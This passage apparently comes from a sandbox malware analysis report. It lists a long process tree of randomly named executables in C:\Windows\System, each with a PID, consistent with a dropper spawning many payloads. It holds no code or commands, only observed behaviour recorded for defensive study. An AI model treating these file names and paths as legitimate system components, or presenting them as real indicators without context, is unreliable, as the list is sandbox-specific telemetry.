  2⤵
  PID:13412
- C:\Windows\System\hImwjAh.exe
  C:\Windows\System\hImwjAh.exe
  2⤵
  PID:13440
- C:\Windows\System\OcDwMpE.exe
  C:\Windows\System\OcDwMpE.exe
  2⤵
  PID:13460
- C:\Windows\System\eQQQAkm.exe
  C:\Windows\System\eQQQAkm.exe
  2⤵
  PID:13492
- C:\Windows\System\PQCxZPJ.exe
  C:\Windows\System\PQCxZPJ.exe
  2⤵
  PID:13508
- C:\Windows\System\YwcNGhj.exe
  C:\Windows\System\YwcNGhj.exe
  2⤵
  PID:13536
- C:\Windows\System\QmToOIB.exe
  C:\Windows\System\QmToOIB.exe
  2⤵
  PID:13552
- C:\Windows\System\wWoDWoi.exe
  C:\Windows\System\wWoDWoi.exe
  2⤵
  PID:13576
- C:\Windows\System\hROLhVO.exe
  C:\Windows\System\hROLhVO.exe
  2⤵
  PID:13592
- C:\Windows\System\nwLPEwv.exe
  C:\Windows\System\nwLPEwv.exe
  2⤵
  PID:13624
- C:\Windows\System\CegroQE.exe
  C:\Windows\System\CegroQE.exe
  2⤵
  PID:13652
- C:\Windows\System\bucALGC.exe
  C:\Windows\System\bucALGC.exe
  2⤵
  PID:13676
- C:\Windows\System\nIzSGBv.exe
  C:\Windows\System\nIzSGBv.exe
  2⤵
  PID:13704
- C:\Windows\System\UaoAhBQ.exe
  C:\Windows\System\UaoAhBQ.exe
  2⤵
  PID:13728
- C:\Windows\System\DqHzOeB.exe
  C:\Windows\System\DqHzOeB.exe
  2⤵
  PID:13756
- C:\Windows\System\UQtkhKb.exe
  C:\Windows\System\UQtkhKb.exe
  2⤵
  PID:13772
- C:\Windows\System\YAYJMxp.exe
  C:\Windows\System\YAYJMxp.exe
  2⤵
  PID:13796
- C:\Windows\System\rkePuEv.exe
  C:\Windows\System\rkePuEv.exe
  2⤵
  PID:13812
- C:\Windows\System\QwiTkDs.exe
  C:\Windows\System\QwiTkDs.exe
  2⤵
  PID:13836
- C:\Windows\System\YjvJXSH.exe
  C:\Windows\System\YjvJXSH.exe
  2⤵
  PID:13868
- C:\Windows\System\TTXcrTc.exe
  C:\Windows\System\TTXcrTc.exe
  2⤵
  PID:13884
- C:\Windows\System\jSwYvKN.exe
  C:\Windows\System\jSwYvKN.exe
  2⤵
  PID:13900
- C:\Windows\System\jqIMHUQ.exe
  C:\Windows\System\jqIMHUQ.exe
  2⤵
  PID:13920
- C:\Windows\System\vudvnGP.exe
  C:\Windows\System\vudvnGP.exe
  2⤵
  PID:13936
- C:\Windows\System\iCBJDvd.exe
  C:\Windows\System\iCBJDvd.exe
  2⤵
  PID:13952
- C:\Windows\System\jzWRuhg.exe
  C:\Windows\System\jzWRuhg.exe
  2⤵
  PID:13976
- C:\Windows\System\hiABTSX.exe
  C:\Windows\System\hiABTSX.exe
  2⤵
  PID:13992
- C:\Windows\System\BFTWbBE.exe
  C:\Windows\System\BFTWbBE.exe
  2⤵
  PID:14008
- C:\Windows\System\UhgYhIh.exe
  C:\Windows\System\UhgYhIh.exe
  2⤵
  PID:14024
- C:\Windows\System\uFILHQr.exe
  C:\Windows\System\uFILHQr.exe
  2⤵
  PID:14040
- C:\Windows\System\JxuGvKc.exe
  C:\Windows\System\JxuGvKc.exe
  2⤵
  PID:14060
- C:\Windows\System\kZocpdZ.exe
  C:\Windows\System\kZocpdZ.exe
  2⤵
  PID:14076
- C:\Windows\System\UdiKQhs.exe
  C:\Windows\System\UdiKQhs.exe
  2⤵
  PID:14092
- C:\Windows\System\YOUXTNc.exe
  C:\Windows\System\YOUXTNc.exe
  2⤵
  PID:14124
- C:\Windows\System\paQLyRt.exe
  C:\Windows\System\paQLyRt.exe
  2⤵
  PID:14160
- C:\Windows\System\awlDDaa.exe
  C:\Windows\System\awlDDaa.exe
  2⤵
  PID:14180
- C:\Windows\System\FZHOUiH.exe
  C:\Windows\System\FZHOUiH.exe
  2⤵
  PID:14196
- C:\Windows\System\hLChAhQ.exe
  C:\Windows\System\hLChAhQ.exe
  2⤵
  PID:14228
- C:\Windows\System\aKhcvmH.exe
  C:\Windows\System\aKhcvmH.exe
  2⤵
  PID:14256
- C:\Windows\System\CwCHKIh.exe
  C:\Windows\System\CwCHKIh.exe
  2⤵
  PID:14288
- C:\Windows\System\NkdbdjV.exe
  C:\Windows\System\NkdbdjV.exe
  2⤵
  PID:14304
- C:\Windows\System\kUpmdmA.exe
  C:\Windows\System\kUpmdmA.exe
  2⤵
  PID:14328
- C:\Windows\System\FIauZXJ.exe
  C:\Windows\System\FIauZXJ.exe
  2⤵
  PID:10180
- C:\Windows\System\LCIuhiX.exe
  C:\Windows\System\LCIuhiX.exe
  2⤵
  PID:9228
- C:\Windows\System\RXfqrSd.exe
  C:\Windows\System\RXfqrSd.exe
  2⤵
  PID:11716
- C:\Windows\System\BFZQiGE.exe
  C:\Windows\System\BFZQiGE.exe
  2⤵
  PID:1824
- C:\Windows\System\IMsLYkF.exe
  C:\Windows\System\IMsLYkF.exe
  2⤵
  PID:9104
- C:\Windows\System\fZvGwZJ.exe
  C:\Windows\System\fZvGwZJ.exe
  2⤵
  PID:9764
- C:\Windows\System\ZwRajDw.exe
  C:\Windows\System\ZwRajDw.exe
  2⤵
  PID:12340
- C:\Windows\System\jBCffAs.exe
  C:\Windows\System\jBCffAs.exe
  2⤵
  PID:11944
- C:\Windows\System\YzYaRvF.exe
  C:\Windows\System\YzYaRvF.exe
  2⤵
  PID:12448
- C:\Windows\System\cdGLyeE.exe
  C:\Windows\System\cdGLyeE.exe
  2⤵
  PID:12472
- C:\Windows\System\imQUVYC.exe
  C:\Windows\System\imQUVYC.exe
  2⤵
  PID:12524
- C:\Windows\System\iojrAew.exe
  C:\Windows\System\iojrAew.exe
  2⤵
  PID:12076
- C:\Windows\System\SGKlOxA.exe
  C:\Windows\System\SGKlOxA.exe
  2⤵
  PID:12612
- C:\Windows\System\VMcgtyq.exe
  C:\Windows\System\VMcgtyq.exe
  2⤵
  PID:12644
- C:\Windows\System\YjRwAwZ.exe
  C:\Windows\System\YjRwAwZ.exe
  2⤵
  PID:12696
- C:\Windows\System\MAGvsoB.exe
  C:\Windows\System\MAGvsoB.exe
  2⤵
  PID:12744
- C:\Windows\System\MujOuYV.exe
  C:\Windows\System\MujOuYV.exe
  2⤵
  PID:10740
- C:\Windows\System\xIMJQAg.exe
  C:\Windows\System\xIMJQAg.exe
  2⤵
  PID:12256
- C:\Windows\System\lPULWgJ.exe
  C:\Windows\System\lPULWgJ.exe
  2⤵
  PID:9436
- C:\Windows\System\rvDhYwx.exe
  C:\Windows\System\rvDhYwx.exe
  2⤵
  PID:12800
- C:\Windows\System\gyGzUEo.exe
  C:\Windows\System\gyGzUEo.exe
  2⤵
  PID:8652
- C:\Windows\System\fRDEmfc.exe
  C:\Windows\System\fRDEmfc.exe
  2⤵
  PID:12848
- C:\Windows\System\dCcWAck.exe
  C:\Windows\System\dCcWAck.exe
  2⤵
  PID:12904
- C:\Windows\System\PZOykQl.exe
  C:\Windows\System\PZOykQl.exe
  2⤵
  PID:12920
- C:\Windows\System\IhKVoiW.exe
  C:\Windows\System\IhKVoiW.exe
  2⤵
  PID:11236
- C:\Windows\System\jNvugRx.exe
  C:\Windows\System\jNvugRx.exe
  2⤵
  PID:13032
- C:\Windows\System\uHdpILS.exe
  C:\Windows\System\uHdpILS.exe
  2⤵
  PID:13224
- C:\Windows\System\dsizfgv.exe
  C:\Windows\System\dsizfgv.exe
  2⤵
  PID:13252
- C:\Windows\System\wsgNPCT.exe
  C:\Windows\System\wsgNPCT.exe
  2⤵
  PID:14340
- C:\Windows\System\yjlsCeI.exe
  C:\Windows\System\yjlsCeI.exe
  2⤵
  PID:14364
- C:\Windows\System\sXPXIHW.exe
  C:\Windows\System\sXPXIHW.exe
  2⤵
  PID:14388
- C:\Windows\System\TVWVUJN.exe
  C:\Windows\System\TVWVUJN.exe
  2⤵
  PID:14420
- C:\Windows\System\sWcUxXO.exe
  C:\Windows\System\sWcUxXO.exe
  2⤵
  PID:14440
- C:\Windows\System\iUdraZD.exe
  C:\Windows\System\iUdraZD.exe
  2⤵
  PID:14476
- C:\Windows\System\idjqmnV.exe
  C:\Windows\System\idjqmnV.exe
  2⤵
  PID:14492
- C:\Windows\System\rFvsGEU.exe
  C:\Windows\System\rFvsGEU.exe
  2⤵
  PID:14508
- C:\Windows\System\MTXHCjz.exe
  C:\Windows\System\MTXHCjz.exe
  2⤵
  PID:14528
- C:\Windows\System\MgDqcbg.exe
  C:\Windows\System\MgDqcbg.exe
  2⤵
  PID:14544
- C:\Windows\System\DnWpCAu.exe
  C:\Windows\System\DnWpCAu.exe
  2⤵
  PID:14568
- C:\Windows\System\UdEpotk.exe
  C:\Windows\System\UdEpotk.exe
  2⤵
  PID:14600
- C:\Windows\System\DJdrLzJ.exe
  C:\Windows\System\DJdrLzJ.exe
  2⤵
  PID:14616
- C:\Windows\System\KWvQlhC.exe
  C:\Windows\System\KWvQlhC.exe
  2⤵
  PID:14632
- C:\Windows\System\GFqXAqv.exe
  C:\Windows\System\GFqXAqv.exe
  2⤵
  PID:14648
- C:\Windows\System\tvGWMWh.exe
  C:\Windows\System\tvGWMWh.exe
  2⤵
  PID:14684
- C:\Windows\System\GhtAZnP.exe
  C:\Windows\System\GhtAZnP.exe
  2⤵
  PID:14720
- C:\Windows\System\uBZqESj.exe
  C:\Windows\System\uBZqESj.exe
  2⤵
  PID:14748
- C:\Windows\System\dDaLZMx.exe
  C:\Windows\System\dDaLZMx.exe
  2⤵
  PID:14780
- C:\Windows\System\mLaueqF.exe
  C:\Windows\System\mLaueqF.exe
  2⤵
  PID:14804
- C:\Windows\System\akQEShP.exe
  C:\Windows\System\akQEShP.exe
  2⤵
  PID:14964
- C:\Windows\System\ZPCPdAB.exe
  C:\Windows\System\ZPCPdAB.exe
  2⤵
  PID:14992
- C:\Windows\System\zWRXzCx.exe
  C:\Windows\System\zWRXzCx.exe
  2⤵
  PID:15084
- C:\Windows\System\mMquXjF.exe
  C:\Windows\System\mMquXjF.exe
  2⤵
  PID:15108
- C:\Windows\System\IWDZXcr.exe
  C:\Windows\System\IWDZXcr.exe
  2⤵
  PID:15124
- C:\Windows\System\iAhoyRh.exe
  C:\Windows\System\iAhoyRh.exe
  2⤵
  PID:15144
- C:\Windows\System\xsxdKEh.exe
  C:\Windows\System\xsxdKEh.exe
  2⤵
  PID:15160
- C:\Windows\System\KZbDYBA.exe
  C:\Windows\System\KZbDYBA.exe
  2⤵
  PID:15176
- C:\Windows\System\tiFAmUL.exe
  C:\Windows\System\tiFAmUL.exe
  2⤵
  PID:15192
- C:\Windows\System\aXYKyGu.exe
  C:\Windows\System\aXYKyGu.exe
  2⤵
  PID:15208
- C:\Windows\System\hzyAlat.exe
  C:\Windows\System\hzyAlat.exe
  2⤵
  PID:15268
- C:\Windows\System\SSwiyhi.exe
  C:\Windows\System\SSwiyhi.exe
  2⤵
  PID:7524
- C:\Windows\System\JXbPxIB.exe
  C:\Windows\System\JXbPxIB.exe
  2⤵
  PID:12112
- C:\Windows\System\Oumlttf.exe
  C:\Windows\System\Oumlttf.exe
  2⤵
  PID:10804
- C:\Windows\System\CxZoRxm.exe
  C:\Windows\System\CxZoRxm.exe
  2⤵
  PID:10656
- C:\Windows\System\RyBUAZo.exe
  C:\Windows\System\RyBUAZo.exe
  2⤵
  PID:11012
- C:\Windows\System\LArVbXK.exe
  C:\Windows\System\LArVbXK.exe
  2⤵
  PID:7904
- C:\Windows\System\WBLBure.exe
  C:\Windows\System\WBLBure.exe
  2⤵
  PID:11560
- C:\Windows\System\amCbSnG.exe
  C:\Windows\System\amCbSnG.exe
  2⤵
  PID:11668
- C:\Windows\System\PamIazM.exe
  C:\Windows\System\PamIazM.exe
  2⤵
  PID:13336
- C:\Windows\System\bDcGmUi.exe
  C:\Windows\System\bDcGmUi.exe
  2⤵
  PID:13396
- C:\Windows\System\eJtqBzs.exe
  C:\Windows\System\eJtqBzs.exe
  2⤵
  PID:11824
- C:\Windows\System\qYcqfZU.exe
  C:\Windows\System\qYcqfZU.exe
  2⤵
  PID:12300
- C:\Windows\System\qYQCFZl.exe
  C:\Windows\System\qYQCFZl.exe
  2⤵
  PID:11860
- C:\Windows\System\hWFTTXa.exe
  C:\Windows\System\hWFTTXa.exe
  2⤵
  PID:13716
- C:\Windows\System\NzuIsNT.exe
  C:\Windows\System\NzuIsNT.exe
  2⤵
  PID:12004
- C:\Windows\System\lMvYHwK.exe
  C:\Windows\System\lMvYHwK.exe
  2⤵
  PID:12500
- C:\Windows\System\sxiQevR.exe
  C:\Windows\System\sxiQevR.exe
  2⤵
  PID:12504
- C:\Windows\System\zHtaAgb.exe
  C:\Windows\System\zHtaAgb.exe
  2⤵
  PID:13988
- C:\Windows\System\jEifgqh.exe
  C:\Windows\System\jEifgqh.exe
  2⤵
  PID:14016
- C:\Windows\System\SCRbTdJ.exe
  C:\Windows\System\SCRbTdJ.exe
  2⤵
  PID:14036
- C:\Windows\System\rdojHrB.exe
  C:\Windows\System\rdojHrB.exe
  2⤵
  PID:14088
- C:\Windows\System\xoDLCMb.exe
  C:\Windows\System\xoDLCMb.exe
  2⤵
  PID:14140
- C:\Windows\System\nKEOcsr.exe
  C:\Windows\System\nKEOcsr.exe
  2⤵
  PID:13692
- C:\Windows\System\OpzHPhd.exe
  C:\Windows\System\OpzHPhd.exe
  2⤵
  PID:11364
- C:\Windows\System\QswhTCP.exe
  C:\Windows\System\QswhTCP.exe
  2⤵
  PID:13404
- C:\Windows\System\kolluHR.exe
  C:\Windows\System\kolluHR.exe
  2⤵
  PID:11388
- C:\Windows\System\KfECAYN.exe
  C:\Windows\System\KfECAYN.exe
  2⤵
  PID:13544
- C:\Windows\System\nJpYMpw.exe
  C:\Windows\System\nJpYMpw.exe
  2⤵
  PID:14244
- C:\Windows\System\kqpAxYx.exe
  C:\Windows\System\kqpAxYx.exe
  2⤵
  PID:14300
- C:\Windows\System\PHqHDsv.exe
  C:\Windows\System\PHqHDsv.exe
  2⤵
  PID:11728
- C:\Windows\System\JvBCrtV.exe
  C:\Windows\System\JvBCrtV.exe
  2⤵
  PID:10520
- C:\Windows\System\CpJdeYG.exe
  C:\Windows\System\CpJdeYG.exe
  2⤵
  PID:12296
- C:\Windows\System\OzYqCoJ.exe
  C:\Windows\System\OzYqCoJ.exe
  2⤵
  PID:12424
- C:\Windows\System\mnJlwAt.exe
  C:\Windows\System\mnJlwAt.exe
  2⤵
  PID:12436
- C:\Windows\System\YvQOMxG.exe
  C:\Windows\System\YvQOMxG.exe
  2⤵
  PID:9004
- C:\Windows\System\AnyFsls.exe
  C:\Windows\System\AnyFsls.exe
  2⤵
  PID:12944
- C:\Windows\System\urjTlRQ.exe
  C:\Windows\System\urjTlRQ.exe
  2⤵
  PID:12692
- C:\Windows\System\rrYUDQJ.exe
  C:\Windows\System\rrYUDQJ.exe
  2⤵
  PID:15384
- C:\Windows\System\zmDrWNx.exe
  C:\Windows\System\zmDrWNx.exe
  2⤵
  PID:15488
- C:\Windows\System\apFmkSf.exe
  C:\Windows\System\apFmkSf.exe
  2⤵
  PID:15964
- C:\Windows\System\HZUakAN.exe
  C:\Windows\System\HZUakAN.exe
  2⤵
  PID:16040
- C:\Windows\System\BWGAUnh.exe
  C:\Windows\System\BWGAUnh.exe
  2⤵
  PID:16240
- C:\Windows\System\LJEjHAR.exe
  C:\Windows\System\LJEjHAR.exe
  2⤵
  PID:16256
- C:\Windows\System\YAhGCJp.exe
  C:\Windows\System\YAhGCJp.exe
  2⤵
  PID:16272
- C:\Windows\System\QUEepan.exe
  C:\Windows\System\QUEepan.exe
  2⤵
  PID:16288
- C:\Windows\System\YuiXFsS.exe
  C:\Windows\System\YuiXFsS.exe
  2⤵
  PID:16304
- C:\Windows\System\YjzcquL.exe
  C:\Windows\System\YjzcquL.exe
  2⤵
  PID:16320
- C:\Windows\System\eEVZCav.exe
  C:\Windows\System\eEVZCav.exe
  2⤵
  PID:16336
- C:\Windows\System\etJVXBi.exe
  C:\Windows\System\etJVXBi.exe
  2⤵
  PID:16352
- C:\Windows\System\AGxXmkG.exe
  C:\Windows\System\AGxXmkG.exe
  2⤵
  PID:16368
- C:\Windows\System\YnguWTQ.exe
  C:\Windows\System\YnguWTQ.exe
  2⤵
  PID:10068
- C:\Windows\System\KArRnWh.exe
  C:\Windows\System\KArRnWh.exe
  2⤵
  PID:13304
- C:\Windows\System\JKsFBcw.exe
  C:\Windows\System\JKsFBcw.exe
  2⤵
  PID:14384
- C:\Windows\System\QXxZcLK.exe
  C:\Windows\System\QXxZcLK.exe
  2⤵
  PID:14428
- C:\Windows\System\CNsISYu.exe
  C:\Windows\System\CNsISYu.exe
  2⤵
  PID:14456
- C:\Windows\System\gVvLVrd.exe
  C:\Windows\System\gVvLVrd.exe
  2⤵
  PID:14500
- C:\Windows\System\owanYiN.exe
  C:\Windows\System\owanYiN.exe
  2⤵
  PID:14564
- C:\Windows\System\fGucXgl.exe
  C:\Windows\System\fGucXgl.exe
  2⤵
  PID:14624
- C:\Windows\System\NZOFXif.exe
  C:\Windows\System\NZOFXif.exe
  2⤵
  PID:14672
- C:\Windows\System\psNjkBz.exe
  C:\Windows\System\psNjkBz.exe
  2⤵
  PID:14704
- C:\Windows\System\aTGLLgn.exe
  C:\Windows\System\aTGLLgn.exe
  2⤵
  PID:14740
- C:\Windows\System\pbaQjCK.exe
  C:\Windows\System\pbaQjCK.exe
  2⤵
  PID:11324
- C:\Windows\System\nsAzVaA.exe
  C:\Windows\System\nsAzVaA.exe
  2⤵
  PID:13344
- C:\Windows\System\PiwWfrp.exe
  C:\Windows\System\PiwWfrp.exe
  2⤵
  PID:13408
- C:\Windows\System\biWWtPh.exe
  C:\Windows\System\biWWtPh.exe
  2⤵
  PID:13548
- C:\Windows\System\ziTQRYq.exe
  C:\Windows\System\ziTQRYq.exe
  2⤵
  PID:13848
- C:\Windows\System\PBlPLNO.exe
  C:\Windows\System\PBlPLNO.exe
  2⤵
  PID:15324
- C:\Windows\System\meEypkX.exe
  C:\Windows\System\meEypkX.exe
  2⤵
  PID:14176
- C:\Windows\System\wlfQTnI.exe
  C:\Windows\System\wlfQTnI.exe
  2⤵
  PID:10568
- C:\Windows\System\AoeDORj.exe
  C:\Windows\System\AoeDORj.exe
  2⤵
  PID:2356
- C:\Windows\System\ITxAMlE.exe
  C:\Windows\System\ITxAMlE.exe
  2⤵
  PID:11528
- C:\Windows\System\defJiwl.exe
  C:\Windows\System\defJiwl.exe
  2⤵
  PID:9056
- C:\Windows\System\lsZEqat.exe
  C:\Windows\System\lsZEqat.exe
  2⤵
  PID:4924
- C:\Windows\System\JvYalXV.exe
  C:\Windows\System\JvYalXV.exe
  2⤵
  PID:15244
- C:\Windows\System\zUlnJvl.exe
  C:\Windows\System\zUlnJvl.exe
  2⤵
  PID:11820
- C:\Windows\System\xVbOgFI.exe
  C:\Windows\System\xVbOgFI.exe
  2⤵
  PID:15980
- C:\Windows\System\AQNqJWP.exe
  C:\Windows\System\AQNqJWP.exe
  2⤵
  PID:13368
- C:\Windows\System\DPZTKxN.exe
  C:\Windows\System\DPZTKxN.exe
  2⤵
  PID:13788
- C:\Windows\System\eiVKawm.exe
  C:\Windows\System\eiVKawm.exe
  2⤵
  PID:16184
- C:\Windows\System\mMNdFXQ.exe
  C:\Windows\System\mMNdFXQ.exe
  2⤵
  PID:12896
- C:\Windows\System\pWsPjDT.exe
  C:\Windows\System\pWsPjDT.exe
  2⤵
  PID:14172
- C:\Windows\System\QHOZPWH.exe
  C:\Windows\System\QHOZPWH.exe
  2⤵
  PID:15712
- C:\Windows\System\yNREkbr.exe
  C:\Windows\System\yNREkbr.exe
  2⤵
  PID:14032
- C:\Windows\System\xCQYXhI.exe
  C:\Windows\System\xCQYXhI.exe
  2⤵
  PID:14212
- C:\Windows\System\RUmWUUN.exe
  C:\Windows\System\RUmWUUN.exe
  2⤵
  PID:9072
- C:\Windows\System\DSsYNkO.exe
  C:\Windows\System\DSsYNkO.exe
  2⤵
  PID:12672
- C:\Windows\System\VPdlqRE.exe
  C:\Windows\System\VPdlqRE.exe
  2⤵
  PID:14516
- C:\Windows\System\iMHRrux.exe
  C:\Windows\System\iMHRrux.exe
  2⤵
  PID:13004
- C:\Windows\System\pmwpVBL.exe
  C:\Windows\System\pmwpVBL.exe
  2⤵
  PID:12052
- C:\Windows\System\tDGJfFs.exe
  C:\Windows\System\tDGJfFs.exe
  2⤵
  PID:16268
- C:\Windows\System\DeidUIh.exe
  C:\Windows\System\DeidUIh.exe
  2⤵
  PID:13288
- C:\Windows\System\ptSNaAI.exe
  C:\Windows\System\ptSNaAI.exe
  2⤵
  PID:12724
- C:\Windows\System\vVtgFvl.exe
  C:\Windows\System\vVtgFvl.exe
  2⤵
  PID:15560
- C:\Windows\System\ZKIEMtN.exe
  C:\Windows\System\ZKIEMtN.exe
  2⤵
  PID:14728
- C:\Windows\System\yndMSPf.exe
  C:\Windows\System\yndMSPf.exe
  2⤵
  PID:14268
- C:\Windows\System\zRdFrxr.exe
  C:\Windows\System\zRdFrxr.exe
  2⤵
  PID:11848
- C:\Windows\System\kEiEDVJ.exe
  C:\Windows\System\kEiEDVJ.exe
  2⤵
  PID:14596
- C:\Windows\System\TvfNwRb.exe
  C:\Windows\System\TvfNwRb.exe
  2⤵
  PID:14760
- C:\Windows\System\cBNnzqa.exe
  C:\Windows\System\cBNnzqa.exe
  2⤵
  PID:12136
- C:\Windows\System\LIlhOAy.exe
  C:\Windows\System\LIlhOAy.exe
  2⤵
  PID:12796
- C:\Windows\System\VFrFGlX.exe
  C:\Windows\System\VFrFGlX.exe
  2⤵
  PID:1852
- C:\Windows\System\HLoBQAQ.exe
  C:\Windows\System\HLoBQAQ.exe
  2⤵
  PID:13372
- C:\Windows\System\ZwyIYJR.exe
  C:\Windows\System\ZwyIYJR.exe
  2⤵
  PID:15548
- C:\Windows\System\CaWcwGi.exe
  C:\Windows\System\CaWcwGi.exe
  2⤵
  PID:15368
- C:\Windows\System\dOIGrOE.exe
  C:\Windows\System\dOIGrOE.exe
  2⤵
  PID:14816
- C:\Windows\System\PpAhSeX.exe
  C:\Windows\System\PpAhSeX.exe
  2⤵
  PID:14940
- C:\Windows\System\KLktyUs.exe
  C:\Windows\System\KLktyUs.exe
  2⤵
  PID:12824
- C:\Windows\System\cqLjMRF.exe
  C:\Windows\System\cqLjMRF.exe
  2⤵
  PID:15780
- C:\Windows\System\poSWXqR.exe
  C:\Windows\System\poSWXqR.exe
  2⤵
  PID:14972
- C:\Windows\System\gHzSzcQ.exe
  C:\Windows\System\gHzSzcQ.exe
  2⤵
  PID:15740
- C:\Windows\System\yrhAqzs.exe
  C:\Windows\System\yrhAqzs.exe
  2⤵
  PID:10328
- C:\Windows\System\ISoaluW.exe
  C:\Windows\System\ISoaluW.exe
  2⤵
  PID:15200
- C:\Windows\System\gctDdOa.exe
  C:\Windows\System\gctDdOa.exe
  2⤵
  PID:15836
- C:\Windows\System\OpujXVB.exe
  C:\Windows\System\OpujXVB.exe
  2⤵
  PID:12376
- C:\Windows\System\jeBqTTU.exe
  C:\Windows\System\jeBqTTU.exe
  2⤵
  PID:16380
- C:\Windows\System\kGpcVNF.exe
  C:\Windows\System\kGpcVNF.exe
  2⤵
  PID:16212
- C:\Windows\System\xSKmJSQ.exe
  C:\Windows\System\xSKmJSQ.exe
  2⤵
  PID:16200
- C:\Windows\System\VGyTShZ.exe
  C:\Windows\System\VGyTShZ.exe
  2⤵
  PID:16172
- C:\Windows\System\HjBJjJZ.exe
  C:\Windows\System\HjBJjJZ.exe
  2⤵
  PID:15636
- C:\Windows\System\reWNbfb.exe
  C:\Windows\System\reWNbfb.exe
  2⤵
  PID:15416
- C:\Windows\System\JAvJrDC.exe
  C:\Windows\System\JAvJrDC.exe
  2⤵
  PID:15892
- C:\Windows\System\ymiyLKw.exe
  C:\Windows\System\ymiyLKw.exe
  2⤵
  PID:14488
- C:\Windows\System\ddQIicJ.exe
  C:\Windows\System\ddQIicJ.exe
  2⤵
  PID:12028
- C:\Windows\System\tDmYwJu.exe
  C:\Windows\System\tDmYwJu.exe
  2⤵
  PID:14680
- C:\Windows\System\btPDXtW.exe
  C:\Windows\System\btPDXtW.exe
  2⤵
  PID:15752
- C:\Windows\System\BVLqmmT.exe
  C:\Windows\System\BVLqmmT.exe
  2⤵
  PID:15628
- C:\Windows\System\KNtcJjw.exe
  C:\Windows\System\KNtcJjw.exe
  2⤵
  PID:4412
- C:\Windows\System\dgfzxdm.exe
  C:\Windows\System\dgfzxdm.exe
  2⤵
  PID:14896
- C:\Windows\System\UlXHUMf.exe
  C:\Windows\System\UlXHUMf.exe
  2⤵
  PID:15352
- C:\Windows\System\eRGqXRm.exe
  C:\Windows\System\eRGqXRm.exe
  2⤵
  PID:2500
- C:\Windows\System\gQrfDNF.exe
  C:\Windows\System\gQrfDNF.exe
  2⤵
  PID:15408
- C:\Windows\System\EBDEppH.exe
  C:\Windows\System\EBDEppH.exe
  2⤵
  PID:13668
- C:\Windows\System\gfYdOJO.exe
  C:\Windows\System\gfYdOJO.exe
  2⤵
  PID:13000
- C:\Windows\System\adktJPF.exe
  C:\Windows\System\adktJPF.exe
  2⤵
  PID:16176
- C:\Windows\System\uGWQXWh.exe
  C:\Windows\System\uGWQXWh.exe
  2⤵
  PID:12116
- C:\Windows\System\nFeOIoM.exe
  C:\Windows\System\nFeOIoM.exe
  2⤵
  PID:15292
- C:\Windows\System\FWRNZno.exe
  C:\Windows\System\FWRNZno.exe
  2⤵
  PID:10812
- C:\Windows\System\kHkVicL.exe
  C:\Windows\System\kHkVicL.exe
  2⤵
  PID:12988
- C:\Windows\System\ptjtdvR.exe
  C:\Windows\System\ptjtdvR.exe
  2⤵
  PID:4912
- C:\Windows\System\tfVpZeI.exe
  C:\Windows\System\tfVpZeI.exe
  2⤵
  PID:15920
- C:\Windows\System\NzNkTiO.exe
  C:\Windows\System\NzNkTiO.exe
  2⤵
  PID:13216
- C:\Windows\System\TIMZRRH.exe
  C:\Windows\System\TIMZRRH.exe
  2⤵
  PID:14380
- C:\Windows\System\HdGsjIh.exe
  C:\Windows\System\HdGsjIh.exe
  2⤵
  PID:14944
- C:\Windows\System\qsklQlr.exe
  C:\Windows\System\qsklQlr.exe
  2⤵
  PID:14984
- C:\Windows\System\TBKgmxQ.exe
  C:\Windows\System\TBKgmxQ.exe
  2⤵
  PID:5456
- C:\Windows\System\osVZrjr.exe
  C:\Windows\System\osVZrjr.exe
  2⤵
  PID:15432
- C:\Windows\System\FeOwzQR.exe
  C:\Windows\System\FeOwzQR.exe
  2⤵
  PID:15976
- C:\Windows\System\TpCHYsP.exe
  C:\Windows\System\TpCHYsP.exe
  2⤵
  PID:15796
- C:\Windows\System\mTqueWv.exe
  C:\Windows\System\mTqueWv.exe
  2⤵
  PID:16048
- C:\Windows\System\sWMsPlr.exe
  C:\Windows\System\sWMsPlr.exe
  2⤵
  PID:13180
- C:\Windows\System\XHZnjdf.exe
  C:\Windows\System\XHZnjdf.exe
  2⤵
  PID:15656
- C:\Windows\System\QOAeJst.exe
  C:\Windows\System\QOAeJst.exe
  2⤵
  PID:14464
- C:\Windows\System\RnanTWB.exe
  C:\Windows\System\RnanTWB.exe
  2⤵
  PID:13452
- C:\Windows\System\OXMVsSh.exe
  C:\Windows\System\OXMVsSh.exe
  2⤵
  PID:14668
- C:\Windows\System\fBZpEJR.exe
  C:\Windows\System\fBZpEJR.exe
  2⤵
  PID:1804
- C:\Windows\System\dkgCvyY.exe
  C:\Windows\System\dkgCvyY.exe
  2⤵
  PID:12492
- C:\Windows\System\TBOVOIa.exe
  C:\Windows\System\TBOVOIa.exe
  2⤵
  PID:12876
- C:\Windows\System\fXZptxI.exe
  C:\Windows\System\fXZptxI.exe
  2⤵
  PID:15592
- C:\Windows\System\IGjTgTe.exe
  C:\Windows\System\IGjTgTe.exe
  2⤵
  PID:5584
- C:\Windows\System\BrNzehI.exe
  C:\Windows\System\BrNzehI.exe
  2⤵
  PID:4020
- C:\Windows\System\tNDLNOq.exe
  C:\Windows\System\tNDLNOq.exe
  2⤵
  PID:16332
- C:\Windows\System\RxuPYeC.exe
  C:\Windows\System\RxuPYeC.exe
  2⤵
  PID:15216
- C:\Windows\System\rAoQVgB.exe
  C:\Windows\System\rAoQVgB.exe
  2⤵
  PID:12368
- C:\Windows\System\VeIhwsn.exe
  C:\Windows\System\VeIhwsn.exe
  2⤵
  PID:8924
- C:\Windows\System\XpeKOCv.exe
  C:\Windows\System\XpeKOCv.exe
  2⤵
  PID:120
- C:\Windows\System\VUjDSZn.exe
  C:\Windows\System\VUjDSZn.exe
  2⤵
  PID:15224
- C:\Windows\System\dIyvoUs.exe
  C:\Windows\System\dIyvoUs.exe
  2⤵
  PID:5020
- C:\Windows\System\tKecvYc.exe
  C:\Windows\System\tKecvYc.exe
  2⤵
  PID:4860
- C:\Windows\System\liYPdHl.exe
  C:\Windows\System\liYPdHl.exe
  2⤵
  PID:868
- C:\Windows\System\BwlxbxH.exe
  C:\Windows\System\BwlxbxH.exe
  2⤵
  PID:1932
- C:\Windows\System\JrjTagD.exe
  C:\Windows\System\JrjTagD.exe
  2⤵
  PID:4440
- C:\Windows\System\EqEaiRJ.exe
  C:\Windows\System\EqEaiRJ.exe
  2⤵
  PID:1156
- C:\Windows\System\jZRKJnP.exe
  C:\Windows\System\jZRKJnP.exe
  2⤵
  PID:724
- C:\Windows\System\dkvEmgV.exe
  C:\Windows\System\dkvEmgV.exe
  2⤵
  PID:1544
- C:\Windows\System\TShIeUN.exe
  C:\Windows\System\TShIeUN.exe
  2⤵
  PID:14584
